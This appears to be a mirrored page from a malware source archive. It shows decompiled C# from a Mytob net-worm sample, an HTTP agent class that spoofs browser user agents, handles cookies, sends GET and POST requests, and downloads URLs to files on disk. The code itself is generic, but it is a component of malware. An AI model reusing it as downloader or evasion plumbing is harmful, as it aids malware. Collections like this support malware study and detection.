mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 03:16:11 +00:00
f2ac1ece55
add
218 lines
8.4 KiB
C#
218 lines
8.4 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: HTTPAgent.Agent
|
|
// Assembly: WolfFt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 510BEE3B-1B9B-4B2D-9942-86D11904E770
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe
|
|
|
|
using System;
|
|
using System.Collections.Specialized;
|
|
using System.IO;
|
|
using System.Net;
|
|
using System.Text;
|
|
using System.Web;
|
|
|
|
namespace HTTPAgent
|
|
{
|
|
public class Agent
|
|
{
|
|
public CookieContainer cookieJar = new CookieContainer();
|
|
private static string[] accepts = new string[4]
|
|
{
|
|
",text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
|
|
",text/html,text/plain,image/png,*/*",
|
|
",text/html;q=0.8,text/plain;q=0.6,image/png,image/jpg,image/gif,*/*;q=0.4",
|
|
",text/html,text/plain,image/*,*/*"
|
|
};
|
|
private static string[] userAgentsIE = new string[6]
|
|
{
|
|
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; FDM; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322)",
|
|
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)",
|
|
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0)",
|
|
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)",
|
|
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MS-RTC LM 8; Zune 4.0)",
|
|
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)"
|
|
};
|
|
private static string[] userAgentsFF = new string[6]
|
|
{
|
|
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.0.4506.2152; .NET4.0C)",
|
|
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 BTRS86393 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)",
|
|
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)",
|
|
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)",
|
|
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)",
|
|
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)"
|
|
};
|
|
private string _lastResponseText;
|
|
private HttpWebResponse _lastResponse;
|
|
private string _accept;
|
|
private string _userAgent;
|
|
private string _referer;
|
|
private bool _handleReferer;
|
|
private string _acceptLanguage;
|
|
private string _acceptEncoding;
|
|
private string _acceptCharset;
|
|
|
|
public void EmulateBrowser()
|
|
{
|
|
Random random = new Random();
|
|
this.Accept = "text/xml,application/xml,application/xhtml+xml" + Agent.accepts[random.Next(Agent.accepts.Length)];
|
|
this.AcceptLanguage = "en";
|
|
this.UserAgent = random.Next(100) >= 60 ? Agent.userAgentsIE[random.Next(Agent.userAgentsIE.Length)] : Agent.userAgentsFF[random.Next(Agent.userAgentsFF.Length)];
|
|
this.HandleReferer = true;
|
|
}
|
|
|
|
public string postURL(string URL, NameValueCollection formValues)
|
|
{
|
|
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL);
|
|
this.SetupRequest(request, "POST");
|
|
request.ContentType = "application/x-www-form-urlencoded";
|
|
StreamWriter streamWriter = new StreamWriter(request.GetRequestStream());
|
|
if (formValues != null)
|
|
{
|
|
foreach (string allKey in formValues.AllKeys)
|
|
{
|
|
streamWriter.Write("&" + allKey + "=");
|
|
streamWriter.Write(HttpUtility.UrlEncode(formValues[allKey]));
|
|
}
|
|
}
|
|
streamWriter.Close();
|
|
this.HandleResponse(request);
|
|
if (this.HandleReferer)
|
|
this.Referer = this._lastResponse.ResponseUri.ToString();
|
|
return this._lastResponseText;
|
|
}
|
|
|
|
public string GetURL(string URL)
|
|
{
|
|
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL);
|
|
this.SetupRequest(request, "GET");
|
|
this.HandleResponse(request);
|
|
if (this.HandleReferer)
|
|
this.Referer = this._lastResponse.ResponseUri.ToString();
|
|
return this._lastResponseText;
|
|
}
|
|
|
|
public string GetURL(string URL, NameValueCollection formValues)
|
|
{
|
|
string str1 = "";
|
|
if (formValues != null)
|
|
{
|
|
foreach (string allKey in formValues.AllKeys)
|
|
str1 = str1 + "&" + allKey + "=" + HttpUtility.UrlEncode(formValues[allKey]);
|
|
}
|
|
string str2 = str1.Substring(1);
|
|
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL + "?" + str2);
|
|
this.SetupRequest(request, "GET");
|
|
this.HandleResponse(request);
|
|
if (this.HandleReferer)
|
|
this.Referer = this._lastResponse.ResponseUri.ToString();
|
|
return this._lastResponseText;
|
|
}
|
|
|
|
public void getURL2File(string url, string dateiname)
|
|
{
|
|
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(url);
|
|
this.SetupRequest(request, "GET");
|
|
this._lastResponse = (HttpWebResponse) request.GetResponse();
|
|
Stream responseStream = this._lastResponse.GetResponseStream();
|
|
if (dateiname.IndexOf("\\") != -1)
|
|
{
|
|
string path = dateiname.Substring(0, dateiname.LastIndexOf("\\"));
|
|
if (!Directory.Exists(path))
|
|
Directory.CreateDirectory(path);
|
|
}
|
|
FileStream fileStream = new FileStream(dateiname, FileMode.Create);
|
|
byte[] buffer = new byte[1024];
|
|
while (true)
|
|
{
|
|
int count = responseStream.Read(buffer, 0, buffer.Length);
|
|
if (count != 0)
|
|
fileStream.Write(buffer, 0, count);
|
|
else
|
|
break;
|
|
}
|
|
responseStream.Close();
|
|
this._lastResponse.Close();
|
|
fileStream.Close();
|
|
}
|
|
|
|
private void HandleResponse(HttpWebRequest request)
|
|
{
|
|
this._lastResponse = (HttpWebResponse) request.GetResponse();
|
|
StreamReader streamReader = new StreamReader(this._lastResponse.GetResponseStream(), Encoding.UTF8);
|
|
this._lastResponseText = streamReader.ReadToEnd();
|
|
streamReader.Close();
|
|
this._lastResponse.Close();
|
|
}
|
|
|
|
private void SetupRequest(HttpWebRequest request, string method)
|
|
{
|
|
request.Method = method;
|
|
request.CookieContainer = this.cookieJar;
|
|
request.Accept = this._accept;
|
|
request.UserAgent = this._userAgent;
|
|
request.Referer = this._referer;
|
|
if (this._acceptCharset != null)
|
|
request.Headers.Add("Accept-Charset", this._acceptCharset);
|
|
if (this._acceptEncoding != null)
|
|
request.Headers.Add("Accept-Encoding", this._acceptEncoding);
|
|
if (this._acceptLanguage == null)
|
|
return;
|
|
request.Headers.Add("Accept-Language", this._acceptLanguage);
|
|
}
|
|
|
|
public string LastResponseText => this._lastResponseText;
|
|
|
|
public HttpWebResponse LastResponse => this._lastResponse;
|
|
|
|
public string Accept
|
|
{
|
|
get => this._accept;
|
|
set => this._accept = value;
|
|
}
|
|
|
|
public string UserAgent
|
|
{
|
|
get => this._userAgent;
|
|
set => this._userAgent = value;
|
|
}
|
|
|
|
public string Referer
|
|
{
|
|
get => this._referer;
|
|
set => this._referer = value;
|
|
}
|
|
|
|
public bool HandleReferer
|
|
{
|
|
get => this._handleReferer;
|
|
set => this._handleReferer = value;
|
|
}
|
|
|
|
public string AcceptLanguage
|
|
{
|
|
get => this._acceptLanguage;
|
|
set => this._acceptLanguage = value;
|
|
}
|
|
|
|
public string AcceptEncoding
|
|
{
|
|
get => this._acceptEncoding;
|
|
set => this._acceptEncoding = value;
|
|
}
|
|
|
|
public string AcceptCharset
|
|
{
|
|
get => this._acceptCharset;
|
|
set => this._acceptCharset = value;
|
|
}
|
|
|
|
public static string UrlEncode(string str) => HttpUtility.UrlEncode(str);
|
|
|
|
public static string UrlDecode(string str) => HttpUtility.UrlDecode(str);
|
|
|
|
public static string HtmlEncode(string str) => HttpUtility.HtmlEncode(str);
|
|
|
|
public static string HtmlDecode(string str) => HttpUtility.HtmlDecode(str);
|
|
}
|
|
}
|